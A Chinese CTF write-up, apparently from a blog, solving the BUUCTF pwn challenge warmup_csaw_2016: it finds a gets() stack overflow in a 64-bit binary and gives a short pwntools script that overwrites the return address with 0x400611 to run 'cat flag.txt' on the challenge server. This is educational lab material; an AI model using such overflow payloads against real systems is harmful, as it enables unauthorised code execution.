首页 > 其他分享 >BUUctf warmup_csaw_2016

BUUctf warmup_csaw_2016

时间:2023-02-28 13:22:05浏览次数:48  
标签:BUUctf 字节 warmup 64 2016 payload csaw

BUU warmup_csaw_2016

首先file,发现是64位ELF文件。
image

IDA发现main函数中return了get函数,存在溢出点。
image

查看文件中的字符串,发现有'cat flag.txt'

image

双击后发现在sub_40060D函数中
image

双击sub_40060D,右键打开文本视图,可以看到这行代码的地址是0x400611,所以我们需要将它覆盖eip,作为返回地址
image
main调用gets函数时,首先会将参数v5压栈,而v5是一个64字节的char数组,所以我们需要填满64字节+ebp的8字节=72字节,然后再填入返回地址0x400611即可覆盖eip了。

构造payload,即可得到flag!

from pwn import *
p = remote("node4.buuoj.cn",27708)
payload = b'0'*72 + p64(0x400611)
p.sendline(payload)
p.interactive()

image

标签:BUUctf,字节,warmup,64,2016,payload,csaw
From: https://www.cnblogs.com/nemuzuki/p/17163643.html

相关文章

  • Microsoft Office 2016 专业增强版 for Windows 官网下载地址
    MicrosoftOffice2016专业增强版是Microsoft公司推出的一款高级的办公软件套件,包括Word、Excel、PowerPoint、Outlook、OneNote、Access、Publisher、SkypeforBusiness......
  • BUUCTF—CRYPTO 1—10
    BUUCTF—CRYPTO1—101、MD5题目:e00cf25ad42683b3df678c61f42c6bda解析:看题目就知道是MD5加密,直接上在线解码网站解码,答案是:flag2、BASE64题目:ZmxhZ3tUSEVfRkxBR19PRl......
  • P6666 [清华集训2016] 数据交互 题解
    ##P6666[清华集训2016]数据交互题解###简要题意:n个点的树,m次操作,分别为添加一条路径$(u_i,v_i,w_i)$,和撤消一条路径,每一次操作后求出一条路径使得与这条路径有交的......
  • P3247 [HNOI2016]最小公倍数 题解
    题意简述:给定一个无向图,边权带两个值\((a,b)\),给定\(q\)次询问,每次询问给定两个点,求两个点直接是否有\(\max(a)=x\)且\(\max(b)=y\)的简单或非简单路径。解:如果......
  • P5416 [CTSC2016]时空旅行 题解
    首先题中的\(y,z\)好像没啥用……首先对于每一次询问,要求\(\min((x_0-x_i)^2+c_i)\)设\((x_0-x_i)^2+c_i=ans\)。那么\(x_0^2+x_i^2-2x_0x_i+c_i=ans\)所以\(x_0......
  • P7862 [COCI2015-2016#2] DRŽAVA 题解
    适当进行骗分是真的有用。\(40pts\):对于每两个点建立一条边,然后在贪心每次求最小边,在期间进行01背包即可,01背包用于处理模数。设\(dp_{i,j}\)代表以\(i\)为编号的一......
  • P4587 [FJOI2016]神秘数
    首先对于数\(a_i\)和一个\(sum\)内被全部覆盖的区间,若\(a_i\lesum\),那么可以将区间覆盖到\(a_i+sum\),经典背包,不证明。那么通过这个可以推出来一种暴力做法,每一次......
  • 【微元贡献法 & 连续段 dp】「JOI Open 2016」摩天大楼 - 题解
    「JOIOpen2016」摩天大楼-题解注意到绝对值求和的形式,比较自然地想到将权值\(a\)排序以规避绝对值,下文默认\(a\)按从小到大排序,且插入元素的顺序亦为从小到大。......
  • Matlab 2016b 中文破解版软件包下载及图文安装教程​
    MATLAB是美国MathWorks公司出品的商业数学软件。它在数学类科技应用软件中在数值计算方面首屈一指。行矩阵运算、绘制函数和数据、实现算法、创建用户界面、连接其他编程语......
  • 【容斥、插值】P3270 [JLOI2016]成绩比较
    【容斥、插值】P3270[JLOI2016]成绩比较题目简述有\(n+1\)个人,进行\(m\)场考试,第\(i\)场考试的可能得分是\([0,U_i]\)之间的整数。假设你是其中一人,你知道每......